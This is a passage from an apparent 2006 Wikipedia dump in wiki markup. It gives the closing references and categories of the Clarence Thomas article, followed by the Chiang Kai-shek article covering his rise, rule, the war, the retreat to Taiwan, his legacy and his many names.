* Jane Mayer and Jill Abramson (1994) ''Strange Justice: The Selling of Clarence Thomas'', Houghton Mifflin Company, ISBN 0-452-27499-0
* [[David Brock|Brock, David]] (1994) ''The REAL ANITA HILL'', Touchstone, ISBN 0-029-04656-4
*[http://search.looksmart.com/p/browse/us1/us317916/us53716/us62703/us10211698/us551221/us551229/us551244/ LookSmart - ''Clarence Thomas''] directory category
*[http://dir.yahoo.com/Government/U_S__Government/Judicial_Branch/Supreme_Court/Justices/Thomas__Clarence/ Yahoo - ''Clarence Thomas''] directory category
* [http://papers.ssrn.com/sol3/papers.cfm?abstract_id=638281 Angela Onwuachi-Willig, &quot;Just Another Brother on the SCT?: What Justice Clarence Thomas Teaches Us About the Influence of Racial Identity&quot;]
* [http://www.nytimes.com/2005/12/31/politics/31mirth.html?ex=1137301200&amp;en=48dac6e9f4366fa6&amp;ei=5070, &quot;So, Guy Walks Up to the Bar, and Scalia says...&quot;]

==External links==
{{wikiquote}}
*[http://www.people.virginia.edu/~ybf2u/Thomas-Hill/1011a06.html October 11, 1991 evening session of U.S. supreme court confirmation hearings], referring to Long Dong Silver and pubic hairs.
*[http://straylight.law.cornell.edu/supct/justices/thomas.bio.html Biography Clarence Thomas] - Cornell Law School

{{start box}}
{{succession box| title=[[United States Court of Appeals for the District of Columbia Circuit|Judge of the U.S. Court of Appeals for the D.C. Circuit]]| 
 before=[[Robert Bork]] | 
 after=[[Judith Ann Wilson Rogers]] | 
 years=1990-1991| 
}}
{{incumbent succession box| title=[[List of Justices of the Supreme Court of the United States|Associate Justice of the Supreme Court of the United States]]| before=[[Thurgood Marshall]]| start=[[October 23]], [[1991]]| }}
{{end box}}

{{start U.S. Supreme Court composition| CJ=[[William Rehnquist|Rehnquist]]| }}
{{U.S. Supreme Court composition court lifespan|cj=William Hubbs Rehnquist|years=[[1986]]–[[2005]]| }}
{{U.S. Supreme Court composition 1991-1993}}
{{U.S. Supreme Court composition 1993-1994}}
{{U.S. Supreme Court composition 1994-2005}}
{{U.S. Supreme Court composition CJ| CJ=[[John Roberts|Roberts]]| }}
{{U.S. Supreme Court composition court lifespan|cj=John Glover Roberts, Jr.|years=[[2005]]-present| }}
{{U.S. Supreme Court composition 2005-2006}}
{{U.S. Supreme Court composition 2006-present}}
{{end U.S. Supreme Court composition}}

[[Category:1948 births|Thomas, Clarence]]
[[Category:African American intellectuals|Thomas, Clarence]]
[[Category:African American politicians|Thomas, Clarence]]
[[Category:Judges of the United States Court of Appeals for the DC Circuit|Thomas, Clarence]]
[[Category:Living people|Thomas, Clarence]]
[[Category:People from Georgia (U.S. state)|Thomas, Clarence]]
[[Category:Pro-life celebrities|Thomas, Clarence]]
[[Category:Roman Catholic jurists|Thomas, Clarence]]
[[Category:United States Supreme Court justices|Thomas, Clarence]]

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  <page>
    <title>Chiang Kai-shek</title>
    <id>6859</id>
    <revision>
      <id>41997054</id>
      <timestamp>2006-03-03T02:59:33Z</timestamp>
      <contributor>
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      <comment>/* Presidency in Taiwan */ Added Chiang's number one National Identification Card number from zh:</comment>
      <text xml:space="preserve">{| cellpadding=3px cellspacing=0px bgcolor=#f7f8ff style=&quot;float:right; border:1px solid #ccd2d9; margin:5px&quot;
|colspan=2 align=center style=&quot;border-top:1px solid #ccd2d9&quot;|[[Image:Chiang Kai-shek.jpg|275px|Chiang Kai-shek]]
|-
!style=&quot;background:#ccf; border-bottom:1px solid #ccd2d9&quot; colspan=2|[[Chinese name|Names]] (''[[#Names|details]]'')
|-
|align=right|Known in English as:||Chiang Kai-shek
|-
|align=right style=&quot;border-top:1px solid #ccd2d9&quot;|Known in [[People's Republic of China|PRC]] as:||style=&quot;border-top:1px solid&quot;|蔣介石
|-
|align=right|[[Hanyu Pinyin]]:||Jiǎng Jièshí
|-
|align=right|[[Wade-Giles]]:||Chiang Chieh-shih
|-
|align=right|Known in [[Republic of China|ROC]] as :||蔣中正
|-
|align=right|[[Hanyu Pinyin]]:||Jiǎng Zhōngzhèng
|-
|align=right|[[Wade-Giles]]:||Chiang Chung-cheng
|-
|align=right style=&quot;border-top:1px solid #ccd2d9&quot;|Family name:||style=&quot;border-top:1px solid #ccd2d9&quot;|[[Jiang (surname)|Jiang]]
|-
|align=right|[[Traditional Chinese]]:||&lt;big&gt;蔣&lt;/big&gt;
|-
|align=right|[[Simplified Chinese]]:||&lt;big&gt;蒋&lt;/big&gt;
|-
|align=right style=&quot;border-top:1px solid #ccd2d9&quot;|Given||style=&quot;border-top:1px solid #ccd2d9&quot;|names
|-
|align=right|Register name (譜名):||Zhoutai (周泰)
|-
|align=right|Milk name (乳名):||Ruiyuan (瑞元)
|-
|align=right|School name (學名):||Zhiqing (志清),
|-
|align=right| ||later Zhongzheng (中正)
|-
|align=right|[[Chinese style name|Courtesy name]] (字):||Jieshi (介石)
|-
|align=right valign=top| ||''Kai-shek'' in [[Cantonese (linguistics)|Cantonese]]
|-
|}

'''Chiang Kai-shek'''  ([[October 31]], [[1887]] &amp;ndash; [[April 5]], [[1975]]) was a [[China|Chinese]] military and political leader who assumed the leadership of the [[Kuomintang]] (KMT) after the death of [[Sun Yat-sen]] in [[1925]]. He commanded the [[Northern Expedition]] to unify China against the [[warlord]]s and emerged victorious in [[1928]] as the overall leader of the [[Republic of China]] (ROC). Chiang led China in the [[Second Sino-Japanese War]], during which Chiang's stature within China weakened but his international prominence grew. During the [[Chinese Civil War]] ([[1926]]&amp;ndash;[[1949]]), Chiang attempted to eradicate the [[Communist Party of China|Chinese Communists]] but ultimately failed, forcing his government to retreat to [[Taiwan]], where he continued serving as the [[President of the Republic of China]] and Director-General of the KMT for the remainder of his life. 
==Early life==
Chiang Kai-shek was born in the town of [[Xikou]], approximately 33 km (20.5 miles) southwest of downtown Ningbo, in [[Fenghua]] [[County-level city|County]], [[Ningbo]] [[Prefecture-level city|Prefecture]], [[Zhejiang]] [[Province of China|Province]]. However, the [[ancestral home]]  (祖籍) of Chiang Kai-shek, a concept important in Chinese society, was the town of Heqiao (和橋鎮), in [[Yixing]] County, [[Wuxi]] Prefecture, [[Jiangsu]] Province (approximately 38 km or 24 miles southwest of downtown Wuxi, and 10 km. (6 miles) from the shores of famous [[Lake Taihu]]).

His parents were Chiang Zhaocong (蔣肇聰) and Wang Caiyu (王采玉), part of an upper-middle class family of salt merchants. His father died when he was only three and Chiang wrote of his mother as the &quot;embodiment of Confucian virtues.&quot; In an [[arranged marriage]], Chiang was married to fellow villager Mao Fumei&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt; (毛福梅, [[1882]]&amp;ndash;[[1939]]). Chiang and Mao had a son, [[Chiang Ching-Kuo|Ching-Kuo]], and a daughter, Chien-hua (建華).

Chiang grew up in an era where military defeats had left [[China]] destabilized and in debt, and he decided to join the military. He began his military education at the [[Paoting Military Academy]] in 1906. He left for the [[Shimbu Gakko|Military State Academy]] in [[Japan]] in [[1907]]. There, he was influenced by his compatriots to support the revolutionary movement to overthrow the [[Qing Dynasty]] and set up a Chinese republic. He befriended fellow Zhejiang native [[Chen Qimei]] and in [[1908]], Chen brought Chiang to the [[Revolutionary Alliance]]. Chiang served in the [[Imperial Japanese Army]] from [[1909]] to [[1911]].

== Rise to power ==
With the outbreak of the [[Wuchang Uprising]] in 1911, Chiang Kai-shek returned to China to fight in the revolution as an artillery officer. He served in the revolutionary forces, leading a regiment in [[Shanghai]] under his friend and mentor Chen Qimei. The [[Xinhai Revolution|revolution]] was ultimately successful in overthrowing the [[Qing Dynasty]] and Chiang became a founding member of the [[Kuomintang]].

After takeover of the Republican government by [[Yuan Shikai]] and the failed [[Second Revolution]], Chiang, like his Kuomintang comrades, divided his time between exile in [[Japan]] and haven in [[Shanghai]]'s foreign concession areas. In Shanghai, Chiang also cultivated ties with the criminal underworld dominated by the notorious [[Green Gang]] and its leader [[Du Yuesheng]]. Chiang had numerous brushes with the law during this period and the International Concession police records show an arrest warrant for him for armed robbery. On [[February 15]], [[1912]], Chiang Kai-shek shot and killed [[Tao Chengzhang]], the leader of the [[Restoration Society]], at point-blank range as Tao lay sick in a Shanghai French Concession hospital, thus ridding Chen Qimei of his chief rival. In 1915, Chen Qimei was assassinated by agents of Yuan Shikai and Chiang succeeded him as the leader of the [[Chinese Revolutionary Party]] in Shanghai. This was during a low point in Sun Yat-sen's career, with most of his old Revolutionary Alliance comrades refusing to join him in the exiled Chinese Revolutionary Party, and Chen Qimei had been Sun's chief lieutenant in the party.

[[Image:Sun Yat-sen and Chiang Kai-shek.jpg|frame|left|Chiang Kai-shek was appointed by Sun Yat-sen as Commandant of the Whompoa Military Academy.]]
In [[1917]] Sun Yat-sen moved his base of operations to [[Guangzhou]] and Chiang joined him in 1918. Sun, at the time was largely sidelined and without arms or money, was soon expelled from Guangzhou in 1918 and exiled again to Shanghai, but restored again with mercenary help in 1920. However, a rift had developed between Sun, who sought to militarily unify China under the KMT, and Guangdong Governor [[Chen Jiongming]], who wanted to implement a [[federalism|federalist]] system with Guangdong as a model province. On [[June 16]], [[1923]], Chen attempted to expel Sun from Guangzhou and had his residence shelled. Sun and his wife [[Song Qingling]] narrowly escaped under heavy machine gun fire, only to be rescued by gunboats under the direction of Chiang Kai-shek. The incident earned in Chiang Kai-shek the trust of Sun Yat-sen.

Sun regained control in Guangzhou in early 1924 with the help of mercenaries from Yunnan, and accepted aid from the [[Comintern]].  He then undertook a reform of the Kuomintang and established a revolutionary government aimed at unifying China under the KMT. That same year, Sun sent Chiang Kai-shek to spend three months in [[Moscow]] studying the Soviet political and military system. Chiang left his eldest son Ching-kuo in Russia, who would not return until 1937. Chiang Kai-shek returned to Guangzhou and in [[1924]] was made [[Commandant]] of the [[Whampoa Military Academy]]. The early years at Whampoa allowed Chiang to cultivate a cadre of young officers loyal to him and by [[1925]] Chiang's proto-army was scoring victories against local rivals in [[Guangdong]] province.  Here he also first met and worked with a young [[Zhou Enlai]], who was selected to be Whampoa's Political Commissar. However, Chiang was deeply critical of the Kuomintang-Communist Party United Front, suspicious that the Communists would take over the KMT from within.

With Sun Yat-sen's death in 1925 a power vacuum developed in the KMT. A power struggle ensued between Chiang, who leaned towards the right wing of the KMT, and Sun Yat-sen's close comrade-in-arms [[Wang Jingwei]], who leaned towards the left wing of the party. Though Chiang ranked relatively low in the civilian hierarchy, and Wang had succeeded Sun to power as Chairman of the National Government, Chiang's deft political maneuvering eventually allowed him to emerge victorious. Chiang, who became [[Commander-in-Chief]] of the [[National Revolutionary Army|National Revolutionary Forces]] in 1925, launched in July [[1926]] the [[Northern Expedition]], a military campaign to defeat the warlords controlling northern China and unify the country under the KMT.

The National Revolutionary Army branched into three divisions—to the west, Wang Jingwei led a column to take [[Wuhan]], to the east, [[Pai Ch'ung-hsi]] led another column to take [[Shanghai]], while Chiang led in the middle to take [[Nanjing]]—before they were to press ahead to take [[Beijing]]. However, in January [[1927]], allied with the Chinese Communists and [[Soviet Union|Soviet]] Agent [[Mikhail Borodin]], [[Wang Jingwei]] and his KMT leftist allies (including [[Hu Hanmin]] and [[Song Qingling]]), having taken the city of Wuhan amid much popular mobilization and fanfare, declared the National Government to have moved to Wuhan. After taking Nanjing in March (and with Shanghai under the control of his close ally General Pai), Chiang momentarily halted his campaign and decided to break with the leftists. On [[April 12]], Chiang began a swift and brutal attack on thousands of suspected Communists. He then established his own National Government in [[Nanjing]], supported by his conservative allies. The communists were purged from the KMT and the Soviet advisers were expelled. This earned Chiang the support (and financial backing) of the Shanghai business community, and maintained him the loyalty of his Whampoa officers (many of whom hailed from Hunan elites were discontented by the land redistribution Wang Jingwei was enacting in the area), but led to the beginning of the [[Chinese Civil War]]. Wang Jingwei's National Government, though popular with the masses, was weak militarily and was soon overtaken by a local warlord, forcing Wang and his leftist government into joining him in Nanjing. Finally, the warlord capital of [[Beijing]] was taken in June [[1928]] and in December, the Manchurian warlord [[Chang Hsueh-liang]] pledged allegiance to Chiang's government.

Chiang made gestures to cement himself as the successor of Sun Yat-sen. In a pairing of much political significance, Chiang married on [[December 1]], 1927 [[Soong May-ling]], the younger sister of [[Soong Ching-ling]] (Sun Yat-sen's widow, whom he had proposed to beforehand but was swiftly rejected) in Japan and thus positioned himself as Sun Yat-sen's brother-in-law. (To please Soong's parents, Chiang had to first divorce his first wife and concubines and promise to eventually convert to [[Christianity]]. He was baptized in [[1929]].) Upon reaching Beijing, Chiang paid homage to Sun Yat-sen and had his body moved to the capital Nanjing to be enshrined in an [[mausoleum of Sun Yat-sen|grand mausoleum]].

==&quot;Tutelage&quot; over China==
Chiang Kai-shek gained nominal control of China, but his party was &quot;too weak to lead and too strong to overthrow&quot;. In 1928, Chiang was named [[Generalissimo]] of all Chinese forces and Chairman of the National Government, a post he held until [[1932]] and later from [[1943]] until [[1948]]. According to KMT political orthodoxy, this period thus began the period of &quot;political tutelage&quot; under the dictatorship of the Kuomintang.

The decade of 1928 to [[1937]] was one of consolidation and accomplishment for Chiang's government. Some of the harsh aspects of foreign concessions and privileges in China were moderated through diplomacy. The government acted energetically to modernize the legal and penal systems, stabilize prices, amortize debts, reform the [[banking]] and [[currency]] systems, build [[railroad]]s and [[highway]]s, improve public health facilities, legislate against traffic in [[narcotic]]s, and augment industrial and agricultural production. Great strides also were made in education and, in an effort to help unify Chinese society—the [[New Life Movement]] was launched to stress [[Confucian]] moral values and personal discipline. [[Mandarin (linguistics)|Mandarin]] was promoted as a standard tongue. The widespread establishment of communications facilities further encouraged a sense of unity and pride among the people. 

These successes, however, were met with constant upheavals with need of further political and military consolidation. Though much of the urban areas were now under the control of his party, the countryside still lay under the influence of severely weakened yet undefeated warlords and communists. Chiang fought with most of his warlord allies, with one northern rebellion—against the warlords [[Yen Hsi-shan]] and [[Feng Yuxiang]]—in [[1930]] almost bankrupting the government and costing almost 250,000 casualties. When [[Hu Han-min]] established a rival government in Guangzhou in [[1931]], Chiang's government was nearly toppled. A complete eradication of the [[Communist Party of China]] eluded Chiang. The Communists regrouped in [[Jiangxi]] and established the [[Chinese Soviet Republic]]. Chiang's anti-communist stance attracted the aid of [[Nazi Germany|German]] military advisers, and in Chiang's fifth campaign to defeat the Communists in [[1934]], he surrounded the [[Red Army]] only to see the Communists escape through the epic [[Long March]] to [[Yan'an]].

[[Image:Chiangs and Stilwell.jpg|right|thumb|233px|Generalissimo and Madame Chiang Kai-shek with General Stilwell in Burma ([[1942]]).]]
== Wartime leader of China ==
With Japan's invasion of [[Manchuria]] in [[1931]], Chiang adopted a slogan &quot;first internal pacification, then external resistance&quot; which meant that the government would first defeat the Communists before challenging Japan directly. In December [[1936]], Chiang flew to [[Xi'an]] to coordinate the final assault on [[People's Liberation Army|Red Army]] forces holed up in [[Yan'an]]. However, Chiang's allied commander [[Chang Hsueh-liang]], whose forces were to be used in his attack and whose homeland of Manchuria had been invaded by the Japanese, had other plans. On [[December 12]], Chang Hsueh-liang kidnapped Chiang Kai-shek for two weeks in what is known as the [[Xi'an Incident]] and forced Chiang into making an &quot;Second United Front&quot; with the Communists against Japan. Though he lost his chance to finish off the communists, Chiang refused to make a formal public announcement of this &quot;United Front&quot; as the Communists had hoped and his troops continued fighting the Communists throughout the war.

[[Sino-Japanese War (1937-1945)|All-out war with Japan]] broke out in July [[1937]]. In August of the same year, Chiang sent 500,000 of his best trained and equipped soldiers to [[Battle of Shanghai (1937)|defend Shanghai]]. With about 250,000 Chinese casualties, Chiang lost his political base of [[Whampoa Military Academy|Whampoa]]-trained officers. Although Chiang lost militarily, the battle dispelled Japanese claims that it could conquer China in three months and demonstrated to the Western powers (which occupied parts of the city and invested heavily in it) that the Chinese would not surrender under intense Japanese fire. This was skillful diplomatic maneuvering on the part of Chiang, who knew the city would eventually fall, but wanted to make a strong gesture in order to secure Western military aid for China. By December, the capital city of Nanjing had fallen to the Japanese and Chiang moved the government inland to [[Chongqing]]. Devoid of economic and industrial resources, Chiang could not counter-attack and held off the rest of the war preserving whatever territory he still controlled, though his strategy succeeded in stretching Japanese supply lines and bogging down Japanese soldiers in the vast Chinese interior who would otherwise have been sent to conquer southeast Asia and the Pacific islands.

With the [[Attack on Pearl Harbor]] and the opening of the [[Pacific War]], China became one of the [[Allied Powers]]. During and after [[World War II]], Chiang and his American-educated wife Soong May-ling, commonly referred to as &quot;Madame Chiang Kai-shek&quot;, held the unwavering support of the [[United States]] [[China Lobby]] which saw in them the hope of a [[Christianity|Christian]] and [[democratic]] China. Chiang Kai-shek's policies were far from Christian or democratic, but this remained unknown to the U.S. public due to strong state-imposed [[censorship]] in China and self-imposed censorship in the U.S. during the war years and after. This was especially fomented by the Chiangs' close friendship with ''[[TIME]]'' magazine publisher [[Henry Luce]].

[[Image:Cairo conference.jpg|thumb|left|250px|Chiang, [[Franklin D. Roosevelt]], and [[Winston Churchill]] met at the Cairo Conference in 1943.]]

Chiang's strategy during the War opposed the strategies of both [[Mao Zedong]] and the United States.  The U.S. regarded Chiang as an important ally able to help shorten the war by engaging the Japanese occupiers in China.  Chiang, in contrast, used powerful associates such as [[H. H. Kung]] in [[Hong Kong]] to build the ROC army for certain conflict with the [[Communist Party of China|communist]] forces after the end of WWII.  This fact was not understood well in the United States.  The U.S. liaison officer, General [[Joseph Stilwell]], correctly deduced that Chiang's strategy was to accumulate munitions for future civil war rather than fight the Japanese, but Stilwell was unable to convince [[Franklin D. Roosevelt]] of this and precious [[Lend-Lease]] armaments continued to be allocated to the Kuomintang. Chiang was recognized as one of the &quot;Big Four&quot; Allied leaders along with Roosevelt, [[Winston Churchill|Churchill]], and [[Josef Stalin|Stalin]] and travelled to attend the [[Cairo Conference]] in November [[1943]]. His wife acted as his translator and adviser.

==&quot;Losing China&quot;==
[[Image:1945 chiang-mao.jpg|thumb|250px|Chiang and Mao met in the wartime capital of Chongqing to toast to the Chinese victory over Japan, but their shaky alliance was short-lived.]]

Following the World War, the United States encouraged peace talks between Chiang and Communist leader [[Mao Zedong]] in Chongqing, but each side, both distrustful of each other and the United States' professed neutrality, soon resorted to [[Chinese Civil War|all-out war]]. The U.S. suspended aid to Chiang Kai-shek for much of the period of 1946 to 1948, in the midst of fighting against the [[People's Liberation Army]] led by [[Mao Zedong]]. Though Chiang achieved great status internationally, his government was deteriorating with corruption and inflation. The war had severely weakened the Nationalists both in terms of resources and popularity while the Communists were strengthened by aid from [[Stalin]], and guerrilla organizations extending throughout rural areas. The Nationalists initially had superiority in arms and men, but their lack of popularity and morale, and apparent disorganization soon allowed the Communists to gain the upper hand.

Meanwhile a new [[Constitution of the Republic of China|Constitution]] promulgated in [[1947]], and Chiang was elected by the [[National Assembly of the Republic of China|National Assembly]] to be President. This marked the beginning of the democratic constitutional government period in KMT political orthodoxy, but the Communists refused to recognize the new Constitution and its government as legitimate.

Chiang resigned as President on [[January 21]], [[1949]], as KMT forces suffered massive losses against the communists. Vice President [[Li Tsung-jen]] took over as Acting President, but his relationship with Chiang soon deteriorated, as Chiang still acted as if he were in power, and Li was forced into exile in the United States under a medical excuse (under Chiang's direction, Li was later formally impeached by the [[Control Yuan]]). In the early morning of [[December 10]], [[1949]], Communist troops laid siege to [[Chengdu]], the last KMT occupied city in [[mainland China]], where Chiang Kai-shek and his son Chiang Ching-kuo directed the defense at the [[Chengdu Central Military Academy]]. The [[aircraft]] ''May-ling'' evacuated them to Taiwan on the same day, forever removing them from the Chinese mainland.

==Presidency in Taiwan==
Chiang moved his government to [[Taipei]], [[Taiwan]], where he formally resumed his duties as president on [[March 1]], [[1950]].  Chiang was reelected by the National Assembly to be the President of the ROC on [[May 20]], [[1954]] and later on in [[1960]], [[1966]], and [[1972]].  In this position he continued to claim sovereignty over all of [[China]]. In the context of the [[Cold War]], most of the [[Western world]] recognized this position and the ROC represented [[China in the United Nations]] and other [[international organization]]s until the [[1970s]]. 

Despite the democratic constitution, the government under Chiang was a [[political repression|repressive]] and [[authoritarianism|authoritarian]] [[single-party state]] consisting almost completely of non-Taiwanese [[mainlander]]s; the &quot;Temporary Provisions Effective During the Period of Communist Rebellion&quot; greatly enhanced executive power and the goal of &quot;retaking the mainland&quot; allowed the KMT to maintain its monopoly on power and to outlaw opposition parties. The government's official line for these provisions stemmed from the claim that emergency provisions were necessary, since the Communists and KMT were still technically under a state of war, without any cease-fire signed, after Chiang retreated to Taiwan. His government sought to impose [[Chinese nationalism]] and repressed the local culture, such as by forbidding the use of [[Taiwanese (linguistics)|Taiwanese]] in mass media broadcasts or in schools. The government permitted free debate within the confines of the legislature, but jailed dissidents who were either labelled as supporters of [[Communist Party of China|Chinese communism]] or [[Taiwan independence]]. His son [[Chiang Ching-kuo]] and Chiang Ching-kuo's successor [[Lee Teng-hui]] would in the [[1980s]] and [[1990s]] increase native Taiwanese representation in the government and loosen the many authoritarian controls of the Chiang Kai-shek era.

Since new elections could not be held in their Communist-occupied constituencies, the members of the KMT-dominated National Assembly, [[Legislative Yuan]], and [[Control Yuan]] held their posts indefinitely. It was under the Temporary Provisions that Chiang was able to bypass term limits to remain as president. He was reelected (unopposed) by the National Assembly as president four times in [[1954]], [[1960]], [[1966]], and [[1972]].

Defeated by the Communists, Chiang [[purge]]d members of the KMT previously accused of corruption, and major figures in the previous mainland government such as [[H.H. Kung]] and [[T.V. Soong]] exiled themselves to the United States. Though the government was politically authoritarian and controlled key industries, it encouraged economic development, especially in the export sector. A sweeping Land Reform Act, as well as American [[foreign aid]] during the 1950's laid the foundation for Taiwan's economic success, becoming one of the [[East Asian Tigers]]. During this time Chiang received an honorary degree from [[Bob Jones University]].

When the uniform numbers of the [[National Identification Cards of the Republic of China]] ([[:zh:中華民國國民身分證|中華民國國民身分證]]) started to be coded in 1965, the bearer of the number 1 ID Card was Chiang Kai-shek, coded Y10000001.

==Death and legacy==
[[Image:Cihu Chiang Kai-shek tomb (left).JPG|300px|left|thumb|Chiang's body was not buried in the traditional Chinese manner but entombed in his former residence in [[Cihhu]] in respect for his wish to be buried in his native Fenghua.]]

In [[1975]], 26 years after Chiang fled to Taiwan, he died in [[Taipei]] at the age of 87. He had suffered a major [[myocardial infarction|heart attack]] and [[pneumonia]] in the months before and died from [[renal failure]] aggravated with advanced cardiac malfunction at 11 p.m. on [[April 5]].

A month of mourning was declared during which the Taiwanese people were asked to put on black armbands. Televisions ran in black-and-white while all banquets or celebrations were forbidden. On the mainland, however, Chiang's death was met with little apparent mourning and news papers gave the brief headline &quot;Chiang Kai-shek has died.&quot; Chiang's corpse was put in a copper coffin and temporarily interred at his favorite residence in [[Cihhu]], [[Dasi, Taiwan|Dasi]], [[Taoyuan County (Taiwan)|Taoyuan County]]. When his son [[Chiang Ching-kuo]] died in 1988, he was also entombed in a separate [[mausoleum]] in nearby [[Touliao]]. The hope was to have both buried at their birthplace in Fenghua once the mainland was recovered. In [[2004]], [[Chiang Fang-liang]], the widow of Chiang Ching-kuo, asked that both father and son be buried at [[Wuchih Mountain Military Cemetery]] in [[Sijhih]], [[Taipei County]]. The state funeral ceremony is planned for late [[2005]]. Chiang Fang-liang and Soong May-ling had agreed in 1997 that the former leaders be first buried but still be moved to mainland China in the event of reunification.

[[Image:CKS Memorial Hall.jpg|thumb|right|250px|Chiang Kai-shek Memorial Hall in Taipei]]
[[Image:ChiangKai-shek MemorialHall MainChamber.jpg|300px|thumb|right|The [[Chiang Kai-shek Memorial Hall]] was opened in 1980 on the fifth anniversary of Chiang's death.]]

Chiang was succeeded as President by Vice President [[Yen Chia-kan]] and as KMT party leader by his son [[Chiang Ching-kuo]], who retired Chiang Kai-shek's title of Director-General and instead assumed the position of Chairman.Yen Chia-kan's presidency was mainly symbolic, with real power held by [[Premier of the Republic of China|Premier]] Chiang Ching-kuo, who became President after Yen's term ended three years later.

Though one of the major figures in Chinese history, Chiang Kai-shek failed to cultivate in the Chinese people the affection of Sun Yat-sen or the regard of Mao Zedong. As Mao's number-one nemesis, he was vilified in mainland China as &quot;China's number one fascist&quot;: a leader who did not serve China's best national interest in not putting an all-out effort against Japan and in trying to crack down on the Communists. Although numbers are uncertain, many estimates place the number of deaths during Chiang Kai-shek's rule on the mainland at around ten million (the lowest estimates provide a figure of about four million, while higher figures suggest as many as 18 million). Many deaths were the result of war and famine, but according to the controversial historian [[R.J. Rummel]] approximately four million were killed directly. According to Rummel, even the lower figures would suggest that Chiang Kai-shek has been responsible for more deaths than all but a handful of [[20th century|20th-century]] dictators.

Chiang Kai-shek's current popularity in Taiwan is sharply divided among political lines, enjoying greater support among KMT voters and the mainlander population.  However, he is largely unpopular among DPP supporters and voters.  Since the democratization of the [[1990s]], his picture began to be removed from public buildings and the currency, while many of his statues have been taken down; in sharp contrast to his son Ching-kuo and to [[Sun Yat-sen]], his memory is rarely invoked by current political parties, including the Kuomintang.

==Names==

Like many other Chinese historical figures, Chiang Kai-shek used several names throughout his life, and he is known under several of these names.

The name inscribed in the genealogical records of his family, is '''Jiang Zhoutai''' (蔣周泰). This &quot;register name&quot; (譜名) is the name under which his extended relatives of the family knew him, this is a name that was used in formal occasions, such as when he got married. Traditionally, this name was not used in intercourse with people outside of the family, and inside mainland China or Taiwan few people know that his &quot;real&quot; name (the concept of real or original name is not as clear-cut in China as it is in the Western world) was Jiang Zhoutai (although other historical figures such as [[Mao Zedong]] are known by their &quot;register name&quot;).

This name, however, was not the name that he received when he was born. Traditionally, Chinese families would wait a certain number of years before officially naming their offspring. In the meantime, they used so-called &quot;milk names&quot; (乳名) which were given to the infant shortly after his birth, and which were known only by the close family. Thus, the actual name that Chiang Kai-shek received at birth was '''Jiang Ruiyuan''' (蔣瑞元), but again this is a fact rarely known in mainland China or Taiwan, and only his parents would have used the given name Ruiyuan when calling him.

In [[1903]], 16-year-old Chiang Kai-shek went to [[Ningbo]] to be a student, and he chose a so-called &quot;school name&quot; (學名). The &quot;school name&quot; was actually the formal name of a person, the name used by older people to call the person, so it was the name that the person would use the most in the first decades of his life (as the person grew older, younger generations would have to use one of the [[courtesy name]]s instead). Colloquially, the &quot;school name&quot; is called &quot;big name&quot; (大名), whereas the &quot;milk name&quot; is known as the &quot;small name&quot; (小名). The &quot;school name&quot; that Chiang Kai-shek chose for himself was Zhiqing (志清 - meaning &quot;purity of intentions&quot;). For the next fifteen years or so, Chiang Kai-shek was known as '''Jiang Zhiqing'''. This is the name under which [[Sun Yat-sen]] knew him when Chiang joined the republicans in [[Guangzhou]] in the 1910s.

In [[1912]], when Chiang Kai-shek was in [[Japan]], he started to use the name '''Jiang Jieshi''' (蔣介石) as a pen name for the articles that he published in a Chinese magazine he founded (''Voice of the Army'' - 軍聲). This name Jieshi soon became his [[Chinese courtesy name|courtesy name]] (字). Many interpretations of this name circulate. Some think the name was chosen from the classic Chinese book the ''[[Book of Changes]]'', other note that ''jie'' (介), the first character of his courtesy name, is also the first character of the courtesy name of his brother and other male relatives on the same generation line, while the second character of his courtesy name ''shi'' (石 - meaning &quot;stone&quot;) reminds of the second character of his &quot;register name&quot; ''tai'' (泰 - the famous [[Mount Tai]] of China). Courtesy names in China often tried to bear a connection with the personal name of the person. As the courtesy name is the name used by people of the same generation to call the person, Chiang Kai-shek soon became known under this new name. (''Jieshi'' is the [[pinyin]] romanization of the name, which is based on [[Standard Mandarin|Mandarin]], but the common romanized rendering of this name is ''Kai-shek'' which is in [[Standard Cantonese|Cantonese romanization]]. As the republicans were based in Guangzhou (a Cantonese speaking area), Chiang Kai-shek became known by Westerners under the Cantonese romanization of his courtesy name, but the family name known in English seems to be the Mandarin pronunciation of his Chinese family name, transliterated in [[Wade-Giles]]; the Cantonese pronunciation of his family name is &quot;Cheung&quot;). In mainland China, the name ''Jiang Jieshi'' is the name under which he is commonly known today.

Sometime in [[1917]] or [[1918]], as Chiang was coming to the forefront among the republicans and became close to [[Sun Yat-sen]], he changed his name from Jiang Zhiqing to '''Jiang Zhongzheng''' (蔣中正). By adopting the name Zhongzheng (&quot;central uprightness&quot;), he was choosing a name very similar to the name of Sun Yat-sen, who was (and still is) known among Chinese as Zhongshan (中山 - meaning &quot;central mountain&quot;), establishing a close link between the two. The meaning of uprightness, rectitude, or orthodoxy, implied by his name, also positioned him as the legitimate heir of Sun Yat-sen and his ideas. Not surprisingly, the Chinese Communists always rejected the use of this name, and the name is not very well known in [[mainland China]]. However, this name was easily accepted by members of the [[Kuomintang|Nationalist Party]], and this is the name under which Chiang Kai-shek is still officially known in [[Taiwan]]. Often, the name is shortened to Zhongzheng only (Chung-cheng in [[Wade-Giles]]) in the style of typical courtesy names (out of respect). Visitors who arrive at the [[Chiang Kai-shek International Airport]] near [[Taipei]] are greeted by signs in Chinese welcoming them to the &quot;Zhongzheng International Airport.&quot; Similarly, the largest monument in [[Taipei]], the [[Chiang Kai-shek Memorial Hall]] is officially in Chinese called the &quot;Zhongzheng Memorial Hall.&quot;

His name also used to be officially written in Taiwan as &quot;The Late President (space) Lord Chiang&quot; (先總統　蔣公), where the one-character-wide space showed respect; this practice lost its popularity after Taiwan's democratization in the 1990s. However, he is still known as ''Lord Chiang'' (without the title or space), along with the similarly positive name ''Jiang Zhongzheng'', in Taiwan.

Chiang was also nicknamed &quot;the Gimo&quot; (short for &quot;Generalissimo&quot;) by some English-speaking foreigners, especially by Americans during the [[World War II|Second World War]].

==See also==
* [[History of the Republic of China]]
* [[Chiang Kai-shek Memorial Song]]

==Notes==
#While married to Mao, Chiang adopted two [[concubine]]s: he married [[Yao Yecheng]] (姚冶誠, [[1889]]-[[1972]]) in [[1912]] and [[Chen Jieru]] (陳潔如, [[1906]]-[[1971]]) in December [[1921]]. Yao raised the adopted [[Chiang Wei-kuo|Wei-kuo]]. Chen had a daughter in [[1924]], named Yaoguang (瑤光), who later adopted her mother's surname.  (It should be noted that Chen's autobiography disclaimed the idea that she was a concubine and claimed that by the time she married Chiang, he had already been divorced from Mao, and that therefore she was a wife.)
&lt;gallery&gt;
